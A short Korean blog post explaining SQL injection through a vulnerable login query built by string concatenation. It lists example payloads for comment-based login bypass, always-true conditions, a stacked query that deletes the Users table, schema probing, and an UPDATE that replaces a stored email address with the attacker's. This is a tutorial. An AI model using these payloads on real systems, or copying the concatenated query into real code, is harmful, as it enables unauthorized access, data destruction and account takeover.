개발/네트워크 보안

SQL injection

개복치 개발자 2019. 12. 13. 13:46

 

SQL 인젝션 한번 보겠습니다.

 

한마디로 설명하면 로그인폼에 입력한 데이터가 DB로 가는데, DB로 가는 데이터 폼에 query문을 보내서, DB에 공격을 가하거나, 강제적으로 로그인을 시도하는 공격방법입니다.

 

자, 그러면 어떻게 하는지 봅시다.

 

SQL = "Select * From Users"

       + " Where UserID = '"+ UserID +"' And Password = '" + Password + "'"


이런 쿼리 문이 있다면, 주석을 통해 뒤에 것을 주석 처리할 수 있습니다.

 

[ 외부 입력값 ]
UserID: admin'--
Password: 아무거나

[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin'-- And Password = '아무거나'

 

(admin이라는 ID는 이미 알고 있다고 가정한다. 그리고 -- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)

 

또한 항상 참이 되도록 or을 이용하여 Boolean문을 구성할 수도 있습니다.

 

[ 외부 입력값 ]
UserID: test
Password: 1234' or '1'='1

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' And Password='1234' or '1'='1'

 

또는 콜론(;)을 통해서 무력화시킬 수 있습니다.

 

[ 외부 입력값 ]
UserIDadmin' ; DELETE From Users--
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin' ; DELETE From Users -- And Password='아무거나'

 

table, attribute를 찾아야 할 때 x’ AND attribute is null;# 을 통해서 attribute을 확인하고

 

x’ AND 1=(SELECT COUNT(*) FROM table);# 를 통해서 table명도 알아낼 수 있습니다.

 

아래와 같이 최종 쿼리를 정합니다.

 

x’; UPDATE table SET emailaddress = ‘본인email’ WHERE attribute=’기존email’;#

 

 

 

-- 참고

 

https://m.mkexdev.net/427

'개발 > 네트워크 보안' 카테고리의 다른 글

XSS  (0) 2019.12.13
SQL Injection 방어  (0) 2019.12.13
리눅스 간단 명령어  (0) 2019.12.13
The Security Development Lifecycle  (0) 2019.12.10
Denial of Service  (0) 2019.12.10